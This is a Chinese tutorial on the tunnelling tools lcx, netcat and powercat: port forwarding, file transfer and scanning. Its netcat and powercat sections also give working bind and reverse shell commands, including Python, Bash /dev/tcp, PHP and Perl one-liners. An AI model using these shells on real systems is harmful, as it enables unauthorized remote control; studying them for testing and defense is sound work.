lcx、netcat、powercat--安装、使用
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
这三个工具主要用于传输层隧道技术所利用的工具,接下来我们就详细介绍一下这三个工具,
一、lcx
1、介绍
lcx 是一款经典的端口转发工具,主要用于网络环境中的端口映射与数据转发,常见于网络调试、内网穿透以及渗透测试场景。它能够实现不同网络环境下的端口数据转发,帮助用户突破网络隔离,访问目标服务。
2、原理
lcx 的核心原理是TCP 端口转发,通过建立中间代理通道,在两个网络端点之间转发 TCP 数据,实现端口映射功能。具体来说:
- 当需要将 A 主机的端口数据转发到 B 主机的某个端口时,lcx 会在中间节点(或其中一台主机)上监听指定端口,接收来自源端的连接请求。
- 一旦建立连接,lcx 会将源端发送的数据转发到目标端口,同时将目标端口的返回数据回传到源端,形成双向数据通道。
常见的转发模式包括:
- 本地端口转发:将本地端口的请求转发到远程主机的指定端口。
- 远程端口转发:将远程主机的端口请求转发到本地(或另一台主机)的指定端口。
- 反向端口转发:在目标主机上运行 lcx 客户端,主动连接到控制端的 lcx 服务端,实现内网到外网的反向连接(常用于突破内网防火墙)。
3、安装
cx 工具体积小巧,无需复杂安装,主要分为 Windows 和 Linux 版本:
下载地址:Release v1.0 · todzhang/lcx · GitHub,l其zip文件包括了windows和linux版本
windows版本直接在命令行使用即可
./lcx_x64.exe #运行
linux版本直接将相应文件夹上传至linux主机即可,直接运行
chmod +x lcx_x64 #赋予权限
./lcx_x64 #运行
4、使用
先介绍一下图中具体的参数作用
-S
:指定功能模式(必选,需从ssocksd
/rcsocks
/rssocks
/listen
/tran
/slave
/netcat
中选择)。-l
:监听端口(本地打开的端口,用于接收连接)。-d
:反射主机地址(数据转发的目标主机 IP)。-e
:反射端口(数据转发的目标主机端口)。-f
:连接主机地址(主动发起连接的目标主机 IP)。-g
:连接端口(主动发起连接的目标主机端口)。-t
:超时时间(毫秒,默认 1000ms,用于控制连接超时)。-h
:查看帮助(加-S 功能名
可看该功能的详细说明,如./lcx -S listen -h
)。-v
:查看版本,-a
:查看关于信息。
主要有两种情况。一种是远程端口转发,就是将服务端的端口转发到客户端的端口上,另一种是本地端口转发,例如将本地80端口转发到本地其它端口,接下来展示这两个操作
将服务端的 80 端口流量转发到客户端的指定端口(即 “服务端 80 端口的数据 → 客户端某端口”),需要通过 “服务端主动转发”+“客户端监听接收” 的配合实现,核心利用 lcx 的 tran
模式(服务端)和 listen
模式(客户端)
第一步:客户端启动监听,准备接收服务端的转发流量
在客户端(192.168.0.104
)上运行 listen
模式,监听一个端口(例如 7777
),并指定将接收的流量转发到客户端本地的目标端口(例如 8080
):
# 客户端命令:监听7777端口,将接收的流量转发到本地8080端口
./lcx_x64.exe -S listen -l 7777 -d 127.0.0.1 -e 8080
- 参数说明:
-l 7777
:客户端开放的 “中转端口”,用于接收服务端发来的 80 端口流量。-d 127.0.0.1 -e 8080
:将接收的流量转发到客户端本地的 8080 端口(最终目标端口,可自定义)。
第二步:服务端启动转发,将 80 端口流量发送到客户端
在服务端(172.19.214.174
)上运行 tran
模式,将自身 80 端口的流量转发到客户端的中转端口(7777
):
# 服务端命令:将自身80端口的流量转发到客户端的7777端口
./lcx_x64.exe -S tran -l 80 -f 192.168.0.104 -g 7777
- 参数说明:
-l 80
:服务端需要被转发的源端口(即 80 端口)。-f 192.168.0.104 -g 7777
:将 80 端口的流量发送到客户端的 7777 端口(与客户端的-l
参数对应)。
出现这个既是转发成功
接下来就是第二种,本地端口转发,比如我将本地80端口的流量转发至本地8080端口访问
./lcx_x64 -S listen -l 80 -d 172.19.214.174 -e 8080
二、netcat
1、介绍
netcat(简称 nc
)是一款功能强大的网络工具,被称为 “网络瑞士军刀”,主要用于在网络中通过 TCP 或 UDP 协议传输数据,支持端口扫描、连接测试、文件传输、远程 shell 等多种功能,是网络调试、系统管理和安全测试中的常用工具。
2、原理
netcat 的核心原理是 在两台主机之间建立 TCP 或 UDP 连接,并在连接上实现双向数据传输,本质是一个简化的 “网络数据读写器”。具体来说:
- 作为 客户端 时,netcat 主动向目标主机的指定端口发起 TCP/UDP 连接,建立连接后可发送或接收数据。
- 作为 服务器 时,netcat 在本地监听指定端口,等待客户端连接,连接建立后同样可双向传输数据。
- 数据传输过程中,netcat 不解析应用层协议(如 HTTP、FTP),仅负责底层的字节流传输,因此具有极高的灵活性,可适配任意基于 TCP/UDP 的场景。
3、安装
netcat 几乎支持所有主流操作系统,不同系统的安装方式如下:
1. Linux 系统
大多数 Linux 发行版预装了 netcat(传统版本),若未安装,可通过包管理器安装:
- Debian/Ubuntu 系列:
sudo apt update && sudo apt install netcat # 传统版本(可能功能有限) # 或安装 nmap 附带的增强版 ncat(推荐,功能更全,支持 SSL、代理等) sudo apt install ncat
- CentOS/RHEL 系列:
sudo yum install nc # 传统版本 # 或安装 ncat sudo yum install nmap-ncat
2. Windows 系统
Windows 需手动下载二进制文件,推荐使用 nmap 附带的 ncat(功能更完善):
- 下载 nmap 安装包:访问 nmap 官网 下载适合 Windows 的版本。
- 安装时勾选
ncat
组件,安装完成后,ncat.exe
会位于安装目录(如C:\Program Files (x86)\Nmap\
)。 - 为方便使用,可将安装目录添加到系统环境变量
PATH
中,之后在 CMD/PowerShell 中直接使用ncat
命令
4、使用
netcat 的命令格式基本一致(不同版本参数略有差异,可用 nc -h
或 ncat -h
查看帮助),核心参数:
-l
:以服务器模式监听端口(必选,用于被动等待连接)。-p [端口]
:指定端口(服务器模式时为监听端口,客户端模式时为本地端口,可选)。-u
:使用 UDP 协议(默认是 TCP)。-v
:显示详细输出(verbose 模式,便于调试)。-z
:仅扫描端口,不发送实际数据(端口扫描用)。
1. 测试端口连通性(客户端模式)
检查目标主机的某个端口是否开放(TCP 为例):
# 格式:nc [目标IP] [目标端口] -v
nc 192.168.0.104 80 -v # 测试连接 192.168.0.104 的 80 端口
- 若输出
connected to ...
,表示端口开放且可连接; - 若输出
connection refused
,表示端口关闭; - 若超时无响应,可能被防火墙拦截。
2. 监听端口(服务器模式)
在本地监听指定端口,接收客户端连接并传输数据:
# 格式:nc -l -p [本地端口] -v
nc -l -p 8888 -v # 在本地 8888 端口监听 TCP 连接
此时,其他主机可通过 nc [本机IP] 8888
连接到该端口,双方可直接输入文本聊天(数据实时传输)。
3. 文件传输
利用 netcat 的数据传输能力,可快速在两台主机间传输文件(无需复杂协议)。
从主机 A(192.168.0.100)向主机 B(192.168.0.104)传输文件 test.txt
。
步骤 1:主机 B 先启动监听,准备接收文件(将接收的数据写入 received.txt
):
nc -l -p 8888 -v > received.txt # 监听 8888 端口,接收数据并写入文件
步骤 2:主机 A 连接主机 B 的 8888 端口,发送文件:
nc 172.19.214.174 8888 -v < test.txt # 读取 test.txt 并发送到目标端口
发送完成后,两端会自动断开连接,主机 B 的 received.txt
即为传输的文件。
4. 远程 shell
netcat 可建立 “反向 shell” 或 “正向 shell”,实现远程控制。
正向 shell:在目标主机上监听端口,将本地 shell 绑定到该端口,控制端连接后获取 shell:
目标主机(Linux):
nc -l -p 9999 -v -e /bin/bash # 将 bash 绑定到 9999 端口(-e 执行命令,部分版本支持)
-e 选项允许直接将端口绑定到 shell 或命令,存在严重安全风险(若端口暴露,可能被未授权访问)。因此,现代 netcat 版本(如 OpenBSD 版)默认移除了该选项,推荐用管道方式替代
在-e可用的情况下,可直接使用该命令,若是不可用,利用管道方式进行
正向 shell(管道方式)
在目标主机上执行:
# 步骤1:创建一个命名管道(用于双向数据传输)
mkfifo /tmp/f# 步骤2:将管道内容作为 bash 的输入,同时将 bash 的输出写入管道,并通过 nc 监听 9999 端口
cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 9999 > /tmp/f
- 命令解释:
mkfifo /tmp/f
:创建一个临时管道文件/tmp/f
,用于传递输入输出数据。cat /tmp/f
:读取管道中的数据(控制端发送的命令),作为bash
的输入。/bin/bash -i 2>&1
:启动交互式 bash(-i
),并将标准错误(2>&1
)合并到标准输出,确保错误信息能回传。nc -l -p 9999 > /tmp/f
:监听 9999 端口,将控制端的输入写入管道,同时接收 bash 的输出并发送给控制端。
控制端连接(获取远程 shell)
在另一台主机(控制端)上执行,连接目标主机的 9999 端口:
nc [目标主机IP] 9999
反向 shell:目标主机主动连接控制端的监听端口,将本地 shell 发送给控制端(常用于突破防火墙):
- 控制端(本地):先监听端口
nc -l -p 9999 -v # 本地监听 9999 端口
- 目标主机(Linux):主动连接控制端,发送 shell
nc [控制端IP] 9999 -v -e /bin/bash # 连接控制端,将 bash 发送过去
注意:Windows 系统的 shell 是
cmd.exe
,命令可改为nc -l -p 9999 -e cmd.exe
(需对应版本支持-e
参数)。
反向shell(管道方式)
在你的本地机器(控制端)上,用 nc
监听一个端口(例如 9999
),等待目标主机的连接:
# 控制端命令:监听 9999 端口,等待连接
nc -l -p 9999 -v
-l
:监听模式;-p 9999
:指定监听端口;-v
:显示详细信息。
在目标主机(需要被控制的机器)上执行以下命令,通过管道将 bash
与控制端的连接绑定:
# 步骤1:创建一个临时命名管道(用于双向数据传输)
mkfifo /tmp/backpipe# 步骤2:通过 nc 连接控制端,同时将 bash 的输入/输出绑定到管道
/bin/bash -i < /tmp/backpipe 2>&1 | nc [控制端IP] 9999 > /tmp/backpipe
- 参数解释:
mkfifo /tmp/backpipe
:创建一个管道文件,用于传递 shell 的输入和输出。/bin/bash -i
:启动交互式 bash(-i
确保能输入命令)。< /tmp/backpipe
:将管道中的数据(控制端发送的命令)作为 bash 的输入。2>&1
:将标准错误输出合并到标准输出,确保错误信息能回传给控制端。nc [控制端IP] 9999
:目标主机主动连接控制端的 9999 端口(与控制端监听端口一致)。> /tmp/backpipe
:将 bash 的输出(命令执行结果)写入管道,再通过 nc 发送给控制端。
5. 端口扫描
快速扫描目标主机的开放端口(TCP 端口扫描):
# 格式:nc -z [目标IP] [起始端口]-[结束端口] -v
nc -z ip 1-100 -v # 扫描 192.168.0.104 的 1-100 端口(速度很慢)
nc -v ip 80 #扫描单个端口
输出中,succeeded!
表示端口开放。
6. UDP 协议测试
默认是 TCP 协议,加 -u
参数可测试 UDP 端口:
# 服务器端:监听 UDP 8888 端口
nc -l -u -p 8888 -v# 客户端:向目标 UDP 8888 端口发送数据
nc -u 192.168.0.104 8888 -v
7.反向shell延伸
在前面反向shell中,都是基于其nc存在的情况下,要是nc不存在的话,那就要利用其它方式进行反向shell连接,这里介绍几种反向shell方法
1、Python反向shell
利用 Python 的socket
模块建立网络连接,将本地 shell 的输入输出重定向到控制端。
控制端先监听端口(如 9999):
nc -lvp 9999 # Linux控制端
# 或Windows控制端(使用ncat)
ncat -lvp 9999
目标主机执行(替换控制端IP
):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("控制端IP",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
- 原理:创建 TCP 连接到控制端,通过
os.dup2
将标准输入 / 输出 / 错误重定向到 socket,最后启动交互式 shell。 - 兼容:Python 2 可将
python3
改为python
,["/bin/sh","-i"]
改为["/bin/bash","-i"]
2、Bash反向shell
直接通过 Bash 的/dev/tcp
伪设备建立网络连接,将 shell 绑定到连接。
控制端监听(同上,如 9999 端口):
nc -lvp 9999
目标主机执行(替换控制端IP
):
bash -i >& /dev/tcp/控制端IP/9999 0>&1
- 原理:
bash -i
启动交互式 shell;>&
将标准输出和错误重定向到/dev/tcp
创建的网络连接;0>&1
将标准输入重定向到同个连接,实现双向通信。 - 注意:部分 Bash 版本可能不支持
/dev/tcp
(如嵌入式系统),需测试兼容性。
3、PHP反向shell
利用 PHP 的fsockopen
创建网络连接,通过proc_open
执行 shell 并绑定输入输出。
控制端监听(同上):
nc -lvp 9999
目标主机执行(替换控制端IP
,需 PHP 环境):
php -r '$sock=fsockopen("控制端IP",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
- 原理:
fsockopen
连接控制端,文件描述符为 3;exec
启动 shell,将输入 / 输出 / 错误重定向到该文件描述符。 - 限制:若 PHP 配置中
disable_functions
禁用了exec
或fsockopen
,则无法运行。
4、Perl反向shell
通过 Perl 的socket
模块建立连接,将 shell 的输入输出绑定到网络连接。
在发行版的linux操作系统中,都自带perl环境
控制端监听(同上):
nc -lvp 9999
目标主机执行(替换控制端IP
,需 Perl 环境):
perl -e 'use Socket;$i="控制端IP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- 原理:创建 TCP socket 连接到控制端,将标准输入 / 输出 / 错误重定向到 socket,最后执行交互式 shell。
三、powercat
1、介绍
powercat 是一款基于 PowerShell 的网络工具,被称为 “PowerShell 版的 netcat”,专为 Windows 环境设计,集成了端口监听、连接测试、文件传输、反向 shell 等功能,尤其在 Windows 系统的网络调试和安全测试中广泛使用。
2、原理
powercat 的核心原理与 netcat 类似:通过 PowerShell 调用 .NET 框架的网络编程接口(如 System.Net.Sockets
类),建立 TCP 或 UDP 连接,实现两台主机之间的双向数据传输。具体来说:
- 作为 服务器端 时,powercat 在本地指定端口监听,等待客户端连接,连接建立后创建数据传输通道。
- 作为 客户端 时,主动向目标主机的端口发起连接,建立通道后可发送 / 接收数据。
- 对于 shell 功能,powercat 将本地的
cmd.exe
或powershell.exe
输入 / 输出重定向到网络连接,实现远程控制(正向 / 反向 shell)。
3、安装
powercat 无需传统 “安装”,只需下载脚本并在 PowerShell 中加载即可,步骤如下:
1. 下载 powercat 脚本
从 GitHub 仓库下载最新脚本(官方仓库:https://github.com/besimorhino/powercat
):
- 直接下载
powercat.ps1
脚本,保存到本地(如C:\tools\powercat.ps1
)。 - 或通过 git命令下载(需联网):
git clone https://github.com/besimorhino/powercat.git
2. 加载 powercat 到当前会话
在 PowerShell 中进入脚本所在目录,通过 Import-Module加载
Import-Moudule .\powercat.psl
3. 解决执行权限问题
Windows 默认限制 PowerShell 脚本执行,需先设置执行策略(以管理员身份运行 PowerShell):
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
# 按提示输入 Y 确认,允许运行本地签名脚本
4、使用
powercat 的命令格式与 netcat 类似,核心参数:
-l
:监听模式(服务器端)。-p [端口]
:指定端口(监听或连接的端口)。-c [IP]
:作为客户端连接目标 IP。-e [程序]
:将连接绑定到指定程序(如cmd.exe
,实现 shell)。-i [秒]
:设置超时时间。-v
:显示详细输出(调试用)。
1. 基础网络测试(TCP 连接)
-
服务器端监听端口(如监听 8888 端口):
powercat -l -p 8888 -v # -v 显示详细连接信息
-
客户端连接服务器(连接目标 IP 的 8888 端口):
powercat -c 192.168.0.104 -p 8888 -v
连接成功后,两端可直接输入文本进行双向通信。
2. 文件传输
通过 powercat 在两台 Windows 主机间传输文件(TCP 协议,更可靠)。
-
接收方(先启动监听,将接收的数据写入文件):
powercat -l -p 9999 -of received.txt # -of 输出到文件
-
发送方(连接接收方,读取文件并发送):
powercat -c 192.168.0.104 -p 9999 -if test.txt # -if 输入文件
3. 反向 shell(目标主机主动连接控制端,常用)
场景:目标主机(Windows)主动连接控制端,将本地 cmd
或 powershell
发送给控制端,实现远程控制。
-
步骤 1:控制端先监听端口(如 Linux 用 netcat 监听 9999 端口):
nc -lvp 9999 # Linux控制端 # 或Windows控制端用powercat监听: powercat -l -p 9999 -v
-
步骤 2:目标主机(Windows)执行反向连接:
# 绑定 cmd.exe 到控制端(推荐) powercat -c 控制端IP -p 9999 -e cmd.exe -v# 或绑定 powershell.exe(功能更强大) powercat -c 控制端IP -p 9999 -e powershell.exe -v
连接成功后,控制端即可通过
cmd
或powershell
远程操作目标主机。
4. 正向 shell(目标主机监听端口,控制端连接)
场景:目标主机在本地监听端口,绑定 shell,控制端主动连接获取权限。
-
步骤 1:目标主机监听端口并绑定 shell:
powercat -l -p 8888 -e cmd.exe -v # 监听8888端口,绑定cmd
-
步骤 2:控制端连接目标主机的 8888 端口:
nc 目标主机IP 8888 # Linux控制端 # 或Windows控制端: powercat -c 目标主机IP -p 8888 -v
5. UDP 协议测试
默认是 TCP 协议,加 -u
参数可测试 UDP 通信:
-
UDP 服务器端:
powercat -l -p 53 -u -v # 监听UDP 53端口
-
UDP 客户端:
powercat -c 192.168.0.104 -p 53 -u -v # 向目标UDP 53端口发送数据
由于用法和nc差不多,这里操作就不再展示。在下载页面:GitHub - besimorhino/powercat: netshell features all in version 2 powershell有更加详细的使用教程。想要了解更多内容的可以去阅读一下。